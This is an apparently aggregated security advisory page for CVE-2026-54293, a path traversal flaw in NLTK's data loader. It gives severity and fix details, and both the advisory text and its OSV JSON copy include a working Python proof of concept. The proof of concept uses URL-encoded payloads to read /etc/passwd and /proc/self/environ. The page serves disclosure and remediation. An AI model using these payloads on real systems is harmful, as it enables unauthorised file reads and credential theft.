CVE-2026-54293: Natural Language Toolkit (NLTK) Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-p4gq-832x-fm9v
CVSS 7.5
CWE-22
Published
Advisory Summary

CVE-2026-54293 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Natural Language Toolkit (NLTK) libraries in the PyPI ecosystem. The issue involves url-encoded path traversal in nltk.data.load() allows arbitrary local file read. Remediation is available by upgrading affected packages to version 3.10.0.

CVE-2026-54293 at a Glance

CVE Identifier CVE-2026-54293
GHSA Identifier GHSA-p4gq-832x-fm9v
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Natural Language Toolkit (NLTK)
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54293

To remediate this vulnerability, upgrade all affected Natural Language Toolkit (NLTK) dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nltk fixed: 3.10.0
pip install nltk>=3.10.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show nltk

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54293, inspect your installed packages using pip:

pip show nltk

Analyze the terminal output to locate any version of Natural Language Toolkit (NLTK) in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.0), your application is affected.

Note: The pip show nltk command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Natural Language Toolkit (NLTK), software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. ### Affected Component nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences: data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. ### Proof of Concept ``` """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py by URL-encoding path separators and traversal components. Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal) Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """ import sys import os import warnings # Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning) # Setup sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk")) os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True) import nltk from nltk.pathsec import ENFORCE BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE) def test_variant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] first_line = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {first_line}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).__name__}: {e}") return False def main(): print(BANNER) vulns = 0 # --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if test_variant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if test_variant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1 print() # --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if test_variant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") env_vars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(env_vars)} environment variables") for var in env_vars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}") print() # --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd") print() print("=" * 51) print(f" Result: {vulns} bypass variant(s) succeeded") if vulns > 0: print(" Status: VULNERABLE (url2pathname decodes after regex check)") else: print(" Status: Not vulnerable") print("=" * 51) if __name__ == "__main__": main() ``` ### Impact Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include: /etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken. ### fix https://github.com/nltk/nltk/pull/3575

CVE-2026-54293 Affected Natural Language Toolkit (NLTK) Versions

1 component(s)
Fixed Versions:
3.10.0
Product / Package Ecosystem Affected Versions Fixed Version
nltk
PyPI
< 3.10.0
3.10.0

References

Frequently Asked Questions

What is CVE-2026-54293?
CVE-2026-54293 is a security vulnerability in Natural Language Toolkit (NLTK) involving URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Natural Language Toolkit (NLTK) versions are affected?
Affected versions include releases prior to 3.10.0 across affected packages: nltk.
What version fixes CVE-2026-54293?
Upgrading to 3.10.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nltk affected?
Yes, nltk is affected in releases prior to 3.10.0. Upgrade your dependency to 3.10.0 or later.
What is the CVSS score of CVE-2026-54293?
CVE-2026-54293 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54293?
CVE-2026-54293 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-54293?
Run the dependency tree command: 'pip show nltk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p4gq-832x-fm9v",
  "modified" : "2026-07-21T12:33:33Z",
  "published" : "2026-06-16T14:34:15Z",
  "aliases" : [ "CVE-2026-54293" ],
  "summary" : "Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read",
  "details" : "### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK <= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n  nltk/data.py:find() checks resource names against a regex for\n  traversal patterns (../, leading /, etc.) BEFORE calling\n  url2pathname() which decodes %xx sequences. This is a classic\n  \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk <= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n    \"\"\"Test a single traversal variant.\"\"\"\n    try:\n        content = nltk.data.load(payload, format=fmt)\n        if isinstance(content, bytes):\n            preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n        else:\n            preview = content[:200]\n        first_line = preview.split(\"\\n\")[0]\n        print(f\"  [VULN] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Read OK: {first_line}\")\n        return True\n    except Exception as e:\n        print(f\"  [SAFE] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Blocked: {type(e).__name__}: {e}\")\n        return False\n\n\ndef main():\n    print(BANNER)\n    vulns = 0\n\n    # --- Variant 1: URL-encoded absolute path ---\n    print(\"[1] URL-encoded absolute path (%2f = /)\")\n    if test_variant(\n        \"Encoded leading slash bypasses ^/ regex check\",\n        \"nltk:%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 2: Encoded dot-dot traversal ---\n    print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n    if test_variant(\n        \"Encoded dots bypass \\\\.\\\\./ regex check\",\n        \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 3: Literal dots with encoded slash ---\n    print(\"[3] Literal dots with encoded slash (..%2f)\")\n    if test_variant(\n        \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n        \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 4: Read process environment (credential leak) ---\n    print(\"[4] Read /proc/self/environ (credential leakage)\")\n    try:\n        content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n        env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n        print(f\"  [VULN] Leaked {len(env_vars)} environment variables\")\n        for var in env_vars[:3]:\n            if var:\n                key = var.split(\"=\")[0] if \"=\" in var else var\n                print(f\"         {key}=...\")\n        vulns += 1\n    except Exception as e:\n        print(f\"  [SAFE] Blocked: {e}\")\n\n    print()\n\n    # --- Control: verify normal traversal IS blocked ---\n    print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n    test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n    print()\n    print(\"=\" * 51)\n    print(f\" Result: {vulns} bypass variant(s) succeeded\")\n    if vulns > 0:\n        print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n    else:\n        print(\" Status: Not vulnerable\")\n    print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.9.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54293"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/pull/3575"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:42644"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-54293"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2491486"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T14:34:15Z",
    "nvd_published_at" : "2026-06-22T19:17:20Z"
  }
}